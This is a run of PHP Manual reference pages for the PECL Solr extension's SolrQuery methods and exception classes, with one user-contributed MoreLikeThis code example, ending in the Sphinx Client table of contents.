(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze

Description

public SolrQuery SolrQuery::setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars )

Specify the maximum number of characters to analyze from a field when using the regex fragmenter

Parameters

maxAnalyzedChars

The maximum number of characters to analyze from a field when using the regex fragmenter

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify the regular expression for fragmenting

  • « SolrQuery::setHighlightRegexMaxAnalyzedChars
  • SolrQuery::setHighlightRegexSlop »
  • PHP Manual
  • SolrQuery
  • Specify the regular expression for fragmenting

SolrQuery::setHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting

Description

public SolrQuery SolrQuery::setHighlightRegexPattern ( string $value )

Specifies the regular expression for fragmenting. This could be used to extract sentences

Parameters

value

The regular expression for fragmenting. This could be used to extract sentences

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the factor by which the regex fragmenter can stray from the ideal fragment size

  • « SolrQuery::setHighlightRegexPattern
  • SolrQuery::setHighlightRequireFieldMatch »
  • PHP Manual
  • SolrQuery
  • Sets the factor by which the regex fragmenter can stray from the ideal fragment size

SolrQuery::setHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size

Description

public SolrQuery SolrQuery::setHighlightRegexSlop ( float $factor )

The factor by which the regex fragmenter can stray from the ideal fragment size ( specfied by SolrQuery::setHighlightFragsize )to accomodate the regular expression

Parameters

factor

The factor by which the regex fragmenter can stray from the ideal fragment size

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Require field matching during highlighting

  • « SolrQuery::setHighlightRegexSlop
  • SolrQuery::setHighlightSimplePost »
  • PHP Manual
  • SolrQuery
  • Require field matching during highlighting

SolrQuery::setHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting

Description

public SolrQuery SolrQuery::setHighlightRequireFieldMatch ( bool $flag )

If TRUE, then a field will only be highlighted if the query matched in this particular field.

This will only work if SolrQuery::setHighlightUsePhraseHighlighter() was set to TRUE

Parameters

flag

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text which appears after a highlighted term

  • « SolrQuery::setHighlightRequireFieldMatch
  • SolrQuery::setHighlightSimplePre »
  • PHP Manual
  • SolrQuery
  • Sets the text which appears after a highlighted term

SolrQuery::setHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term

Description

public SolrQuery SolrQuery::setHighlightSimplePost ( string $simplePost [, string $field_override ] )

Sets the text which appears before a highlighted term

Parameters

simplePost

Sets the text which appears after a highlighted term

The default is </em>

field_override

The name of the field.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text which appears before a highlighted term

  • « SolrQuery::setHighlightSimplePost
  • SolrQuery::setHighlightSnippets »
  • PHP Manual
  • SolrQuery
  • Sets the text which appears before a highlighted term

SolrQuery::setHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term

Description

public SolrQuery SolrQuery::setHighlightSimplePre ( string $simplePre [, string $field_override ] )

Sets the text which appears before a highlighted term

The default is <em>

Parameters

simplePre

The text which appears before a highlighted term

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of highlighted snippets to generate per field

  • « SolrQuery::setHighlightSimplePre
  • SolrQuery::setHighlightUsePhraseHighlighter »
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of highlighted snippets to generate per field

SolrQuery::setHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field

Description

public SolrQuery SolrQuery::setHighlightSnippets ( int $value [, string $field_override ] )

Sets the maximum number of highlighted snippets to generate per field

Parameters

value

The maximum number of highlighted snippets to generate per field

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Whether to highlight phrase terms only when they appear within the query phrase

  • « SolrQuery::setHighlightSnippets
  • SolrQuery::setMlt »
  • PHP Manual
  • SolrQuery
  • Whether to highlight phrase terms only when they appear within the query phrase

SolrQuery::setHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase

Description

public SolrQuery SolrQuery::setHighlightUsePhraseHighlighter ( bool $flag )

Sets whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

Parameters

value

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables moreLikeThis

  • « SolrQuery::setHighlightUsePhraseHighlighter
  • SolrQuery::setMltBoost »
  • PHP Manual
  • SolrQuery
  • Enables or disables moreLikeThis

SolrQuery::setMlt

(PECL solr >= 0.9.2)

SolrQuery::setMlt — Enables or disables moreLikeThis

Description

public SolrQuery SolrQuery::setMlt ( bool $flag )

Enables or disables moreLikeThis

Parameters

flag

TRUE enables it and FALSE turns it off.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

duerra at nospam dot yahoo dot com 19-Nov-2010 01:34
Note that currently, if enabling MLT results in Solr, you also need to set the MinDocFrequency and MinTermFrequency, or you will not get any results back.

<?php
$client = new SolrClient($params);
$query = new SolrQuery();
$query->setMlt(true);
$query->addField('*,score');
$query->setMltMinDocFrequency(1);
$query->setMltMinTermFrequency(1);

//What the MLT documents will be based off of
$query->setQuery('id:doc_10');
$result = $client->query($query);
$result->setParseMode(SolrQueryResponse::PARSE_SOLR_OBJ);
$response = $result->getResponse();

//MLT returns an array of documents based off of the id field value of EACH result returned in the primary search, with an array of MLT documents for each main result document returned

//Presuming the unique field in our schema above is "id" and I know that I will only be getting one document returned in the primary result set, then:
$similarDocs = $response->moreLikeThis->doc_10->docs;

?>

Hope this helps.


Set if the query will be boosted by the interesting term relevance

  • « SolrQuery::setMlt
  • SolrQuery::setMltCount »
  • PHP Manual
  • SolrQuery
  • Set if the query will be boosted by the interesting term relevance

SolrQuery::setMltBoost

(PECL solr >= 0.9.2)

SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance

Description

public SolrQuery SolrQuery::setMltBoost ( bool $flag )

Set if the query will be boosted by the interesting term relevance

Parameters

value

Sets to TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Set the number of similar documents to return for each result

  • « SolrQuery::setMltBoost
  • SolrQuery::setMltMaxNumQueryTerms »
  • PHP Manual
  • SolrQuery
  • Set the number of similar documents to return for each result

SolrQuery::setMltCount

(PECL solr >= 0.9.2)

SolrQuery::setMltCount — Set the number of similar documents to return for each result

Description

public SolrQuery SolrQuery::setMltCount ( int $count )

Set the number of similar documents to return for each result

Parameters

count

The number of similar documents to return for each result

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of query terms included

  • « SolrQuery::setMltCount
  • SolrQuery::setMltMaxNumTokens »
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of query terms included

SolrQuery::setMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included

Description

public SolrQuery SolrQuery::setMltMaxNumQueryTerms ( int $value )

Sets the maximum number of query terms that will be included in any generated query.

Parameters

value

The maximum number of query terms that will be included in any generated query

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the maximum number of tokens to parse

  • « SolrQuery::setMltMaxNumQueryTerms
  • SolrQuery::setMltMaxWordLength »
  • PHP Manual
  • SolrQuery
  • Specifies the maximum number of tokens to parse

SolrQuery::setMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse

Description

public SolrQuery SolrQuery::setMltMaxNumTokens ( int $value )

Specifies the maximum number of tokens to parse in each example doc field that is not stored with TermVector support.

Parameters

value

The maximum number of tokens to parse

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum word length

  • « SolrQuery::setMltMaxNumTokens
  • SolrQuery::setMltMinDocFrequency »
  • PHP Manual
  • SolrQuery
  • Sets the maximum word length

SolrQuery::setMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxWordLength — Sets the maximum word length

Description

public SolrQuery SolrQuery::setMltMaxWordLength ( int $maxWordLength )

Sets the maximum word length above which words will be ignored.

Parameters

maxWordLength

The maximum word length above which words will be ignored

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the mltMinDoc frequency

  • « SolrQuery::setMltMaxWordLength
  • SolrQuery::setMltMinTermFrequency »
  • PHP Manual
  • SolrQuery
  • Sets the mltMinDoc frequency

SolrQuery::setMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency

Description

public SolrQuery SolrQuery::setMltMinDocFrequency ( int $minDocFrequency )

The frequency at which words will be ignored which do not occur in at least this many docs.

Parameters

minDocFrequency

Sets the frequency at which words will be ignored which do not occur in at least this many docs.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the frequency below which terms will be ignored in the source docs

  • « SolrQuery::setMltMinDocFrequency
  • SolrQuery::setMltMinWordLength »
  • PHP Manual
  • SolrQuery
  • Sets the frequency below which terms will be ignored in the source docs

SolrQuery::setMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs

Description

public SolrQuery SolrQuery::setMltMinTermFrequency ( int $minTermFrequency )

Sets the frequency below which terms will be ignored in the source docs

Parameters

minTermFrequency

The frequency below which terms will be ignored in the source docs

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum word length

  • « SolrQuery::setMltMinTermFrequency
  • SolrQuery::setOmitHeader »
  • PHP Manual
  • SolrQuery
  • Sets the minimum word length

SolrQuery::setMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMinWordLength — Sets the minimum word length

Description

public SolrQuery SolrQuery::setMltMinWordLength ( int $minWordLength )

Sets the minimum word length below which words will be ignored.

Parameters

minWordLength

The minimum word length below which words will be ignored

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Exclude the header from the returned results

  • « SolrQuery::setMltMinWordLength
  • SolrQuery::setQuery »
  • PHP Manual
  • SolrQuery
  • Exclude the header from the returned results

SolrQuery::setOmitHeader

(PECL solr >= 0.9.2)

SolrQuery::setOmitHeader — Exclude the header from the returned results

Description

public SolrQuery SolrQuery::setOmitHeader ( bool $flag )

Exclude the header from the returned results.

Parameters

flag

TRUE excludes the header from the result.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the search query

  • « SolrQuery::setOmitHeader
  • SolrQuery::setRows »
  • PHP Manual
  • SolrQuery
  • Sets the search query

SolrQuery::setQuery

(PECL solr >= 0.9.2)

SolrQuery::setQuery — Sets the search query

Description

public SolrQuery SolrQuery::setQuery ( string $query )

Sets the search query.

Parameters

query

The search query

Return Values

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.


Specifies the maximum number of rows to return in the result

  • « SolrQuery::setQuery
  • SolrQuery::setShowDebugInfo »
  • PHP Manual
  • SolrQuery
  • Specifies the maximum number of rows to return in the result

SolrQuery::setRows

(PECL solr >= 0.9.2)

SolrQuery::setRows — Specifies the maximum number of rows to return in the result

Description

public SolrQuery SolrQuery::setRows ( int $rows )

Specifies the maximum number of rows to return in the result

Parameters

rows

The maximum number of rows to return

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Flag to show debug information

  • « SolrQuery::setRows
  • SolrQuery::setStart »
  • PHP Manual
  • SolrQuery
  • Flag to show debug information

SolrQuery::setShowDebugInfo

(PECL solr >= 0.9.2)

SolrQuery::setShowDebugInfo — Flag to show debug information

Description

public SolrQuery SolrQuery::setShowDebugInfo ( bool $flag )

Whether to show debug info

Parameters

flag

Whether to show debug info. TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of rows to skip

  • « SolrQuery::setShowDebugInfo
  • SolrQuery::setStats »
  • PHP Manual
  • SolrQuery
  • Specifies the number of rows to skip

SolrQuery::setStart

(PECL solr >= 0.9.2)

SolrQuery::setStart — Specifies the number of rows to skip

Description

public SolrQuery SolrQuery::setStart ( int $start )

Specifies the number of rows to skip. Useful in pagination of results.

Parameters

start

The number of rows to skip.

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables the Stats component

  • « SolrQuery::setStart
  • SolrQuery::setTerms »
  • PHP Manual
  • SolrQuery
  • Enables or disables the Stats component

SolrQuery::setStats

(PECL solr >= 0.9.2)

SolrQuery::setStats — Enables or disables the Stats component

Description

public SolrQuery SolrQuery::setStats ( bool $flag )

Enables or disables the Stats component.

Parameters

flag

TRUE turns on the stats component and FALSE disables it.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables the TermsComponent

  • « SolrQuery::setStats
  • SolrQuery::setTermsField »
  • PHP Manual
  • SolrQuery
  • Enables or disables the TermsComponent

SolrQuery::setTerms

(PECL solr >= 0.9.2)

SolrQuery::setTerms — Enables or disables the TermsComponent

Description

public SolrQuery SolrQuery::setTerms ( bool $flag )

Enables or disables the TermsComponent

Parameters

flag

TRUE enables it. FALSE turns it off

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the name of the field to get the Terms from

  • « SolrQuery::setTerms
  • SolrQuery::setTermsIncludeLowerBound »
  • PHP Manual
  • SolrQuery
  • Sets the name of the field to get the Terms from

SolrQuery::setTermsField

(PECL solr >= 0.9.2)

SolrQuery::setTermsField — Sets the name of the field to get the Terms from

Description

public SolrQuery SolrQuery::setTermsField ( string $fieldname )

Sets the name of the field to get the terms from

Parameters

fieldname

The field name

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Include the lower bound term in the result set

  • « SolrQuery::setTermsField
  • SolrQuery::setTermsIncludeUpperBound »
  • PHP Manual
  • SolrQuery
  • Include the lower bound term in the result set

SolrQuery::setTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set

Description

public SolrQuery SolrQuery::setTermsIncludeLowerBound ( bool $flag )

Include the lower bound term in the result set.

Parameters

flag

Include the lower bound term in the result set

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Include the upper bound term in the result set

  • « SolrQuery::setTermsIncludeLowerBound
  • SolrQuery::setTermsLimit »
  • PHP Manual
  • SolrQuery
  • Include the upper bound term in the result set

SolrQuery::setTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set

Description

public SolrQuery SolrQuery::setTermsIncludeUpperBound ( bool $flag )

Include the upper bound term in the result set.

Parameters

flag

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of terms to return

  • « SolrQuery::setTermsIncludeUpperBound
  • SolrQuery::setTermsLowerBound »
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of terms to return

SolrQuery::setTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::setTermsLimit — Sets the maximum number of terms to return

Description

public SolrQuery SolrQuery::setTermsLimit ( int $limit )

Sets the maximum number of terms to return

Parameters

limit

The maximum number of terms to return. All the terms will be returned if the limit is negative.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the Term to start from

  • « SolrQuery::setTermsLimit
  • SolrQuery::setTermsMaxCount »
  • PHP Manual
  • SolrQuery
  • Specifies the Term to start from

SolrQuery::setTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsLowerBound — Specifies the Term to start from

Description

public SolrQuery SolrQuery::setTermsLowerBound ( string $lowerBound )

Specifies the Term to start from

Parameters

lowerBound

The lower bound Term

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum document frequency

  • « SolrQuery::setTermsLowerBound
  • SolrQuery::setTermsMinCount »
  • PHP Manual
  • SolrQuery
  • Sets the maximum document frequency

SolrQuery::setTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMaxCount — Sets the maximum document frequency

Description

public SolrQuery SolrQuery::setTermsMaxCount ( int $frequency )

Sets the maximum document frequency.

Parameters

frequency

The maximum document frequency.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum document frequency

  • « SolrQuery::setTermsMaxCount
  • SolrQuery::setTermsPrefix »
  • PHP Manual
  • SolrQuery
  • Sets the minimum document frequency

SolrQuery::setTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMinCount — Sets the minimum document frequency

Description

public SolrQuery SolrQuery::setTermsMinCount ( int $frequency )

Sets the minimum doc frequency to return in order to be included

Parameters

frequency

The minimum frequency

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Restrict matches to terms that start with the prefix

  • « SolrQuery::setTermsMinCount
  • SolrQuery::setTermsReturnRaw »
  • PHP Manual
  • SolrQuery
  • Restrict matches to terms that start with the prefix

SolrQuery::setTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix

Description

public SolrQuery SolrQuery::setTermsPrefix ( string $prefix )

Restrict matches to terms that start with the prefix

Parameters

prefix

Restrict matches to terms that start with the prefix

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Return the raw characters of the indexed term

  • « SolrQuery::setTermsPrefix
  • SolrQuery::setTermsSort »
  • PHP Manual
  • SolrQuery
  • Return the raw characters of the indexed term

SolrQuery::setTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term

Description

public SolrQuery SolrQuery::setTermsReturnRaw ( bool $flag )

If true, return the raw characters of the indexed term, regardless of if it is human readable

Parameters

value

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies how to sort the returned terms

  • « SolrQuery::setTermsReturnRaw
  • SolrQuery::setTermsUpperBound »
  • PHP Manual
  • SolrQuery
  • Specifies how to sort the returned terms

SolrQuery::setTermsSort

(PECL solr >= 0.9.2)

SolrQuery::setTermsSort — Specifies how to sort the returned terms

Description

public SolrQuery SolrQuery::setTermsSort ( int $sortType )

If SolrQuery::TERMS_SORT_COUNT, sorts the terms by the term frequency (highest count first). If SolrQuery::TERMS_SORT_INDEX, returns the terms in index order

Parameters

sortType

SolrQuery::TERMS_SORT_INDEX or SolrQuery::TERMS_SORT_COUNT

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the term to stop at

  • « SolrQuery::setTermsSort
  • SolrQuery::setTimeAllowed »
  • PHP Manual
  • SolrQuery
  • Sets the term to stop at

SolrQuery::setTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsUpperBound — Sets the term to stop at

Description

public SolrQuery SolrQuery::setTermsUpperBound ( string $upperBound )

Sets the term to stop at

Parameters

upperBound

The term to stop at

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The time allowed for search to finish

  • « SolrQuery::setTermsUpperBound
  • SolrException »
  • PHP Manual
  • SolrQuery
  • The time allowed for search to finish

SolrQuery::setTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::setTimeAllowed — The time allowed for search to finish

Description

public SolrQuery SolrQuery::setTimeAllowed ( int $timeAllowed )

The time allowed for a search to finish. This value only applies to the search and not to requests in general. Time is in milliseconds. Values less than or equal to zero implies no time restriction. Partial results may be returned, if there are any.

Parameters

timeAllowed

The time allowed for a search to finish.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The SolrException class

(PECL solr >= 0.9.2)

Introduction

This is the base class for all exception thrown by the Solr extension classes.

Class synopsis

SolrException extends Exception {
/* Properties */
protected integer $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

sourceline

The line in c-space source file where exception was generated

sourcefile

The c-space source file where exception was generated

zif_name

The c-space function where exception was generated

Table of Contents

  • SolrException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • « SolrException
  • SolrClientException »
  • PHP Manual
  • SolrException
  • Returns internal information where the Exception was thrown

SolrException::getInternalInfo

(PECL solr >= 0.9.2)

SolrException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrClientException class

(PECL solr >= 0.9.2)

Introduction

An exception thrown when there is an error while making a request to the server from the client.

Class synopsis

SolrClientException extends SolrException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected integer $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
public array SolrException::getInternalInfo ( void )
}

Table of Contents

  • SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • « SolrClientException
  • SolrServerException »
  • PHP Manual
  • SolrClientException
  • Returns internal information where the Exception was thrown

SolrClientException::getInternalInfo

(PECL solr >= 0.9.2)

SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrClientException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrServerException class

(PECL Solr >= 1.1.0, >=2.0.0)

Introduction

An exception thrown when there is an error produced by the Solr Server itself.

Class synopsis

SolrServerException extends SolrException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected integer $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
public array SolrException::getInternalInfo ( void )
}

Table of Contents

  • SolrServerException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • « SolrServerException
  • SolrIllegalArgumentException »
  • PHP Manual
  • SolrServerException
  • Returns internal information where the Exception was thrown

SolrServerException::getInternalInfo

(PECL solr >= 1.1.0, >=2.0.0)

SolrServerException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrServerException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrIllegalArgumentException class

(PECL solr >= 0.9.2)

Introduction

This object is thrown when an illeglal or invalid argument is passed to a method.

Class synopsis

SolrIllegalArgumentException extends SolrException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected integer $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
public array SolrException::getInternalInfo ( void )
}

Table of Contents

  • SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • « SolrIllegalArgumentException
  • SolrIllegalOperationException »
  • PHP Manual
  • SolrIllegalArgumentException
  • Returns internal information where the Exception was thrown

SolrIllegalArgumentException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrIllegalArgumentException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrIllegalOperationException class

(PECL solr >= 0.9.2)

Introduction

This object is thrown when an illegal or unsupported operation is performed on an object.

Class synopsis

SolrIllegalOperationException extends SolrException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected integer $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
public array SolrException::getInternalInfo ( void )
}

Table of Contents

  • SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • « SolrIllegalOperationException
  • Sphinx »
  • PHP Manual
  • SolrIllegalOperationException
  • Returns internal information where the Exception was thrown

SolrIllegalOperationException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrIllegalOperationException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


Sphinx Client

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • SphinxClient — The SphinxClient class
    • SphinxClient::addQuery — Add query to multi-query batch
    • SphinxClient::buildExcerpts — Build text snippets
    • SphinxClient::buildKeywords — Extract keywords from query
    • SphinxClient::close — Closes previously opened persistent connection
    • SphinxClient::__construct — Create a new SphinxClient object
    • SphinxClient::escapeString — Escape special characters
    • SphinxClient::getLastError — Get the last error message
    • SphinxClient::getLastWarning — Get the last warning
    • SphinxClient::open — Opens persistent connection to the server
    • SphinxClient::query — Execute search query
    • SphinxClient::resetFilters — Clear all filters
    • SphinxClient::resetGroupBy — Clear all group-by settings
    • SphinxClient::runQueries — Run a batch of search queries
    • SphinxClient::setArrayResult — Change the format of result set array
    • SphinxClient::setConnectTimeout — Set connection timeout
    • SphinxClient::setFieldWeights — Set field weights
    • SphinxClient::setFilter — Add new integer values set filter
    • SphinxClient::setFilterFloatRange — Add new float range filter
    • SphinxClient::setFilterRange — Add new integer range filter
    • SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations
    • SphinxClient::setGroupBy — Set grouping attribute
    • SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations
    • SphinxClient::setIDRange — Set a range of accepted document IDs
    • SphinxClient::setIndexWeights — Set per-index weights
    • SphinxClient::setLimits — Set offset and limit of the result set
    • SphinxClient::setMatchMode — Set full-text query matching mode
    • SphinxClient::setMaxQueryTime — Set maximum query time
    • SphinxClient::setOverride — Sets temporary per-document attribute value overrides
    • SphinxClient::setRankingMode — Set ranking mode
    • SphinxClient::setRetries — Set retry count and delay
    • SphinxClient::setSelect — Set select clause
    • SphinxClient::setServer — Set searchd host and port
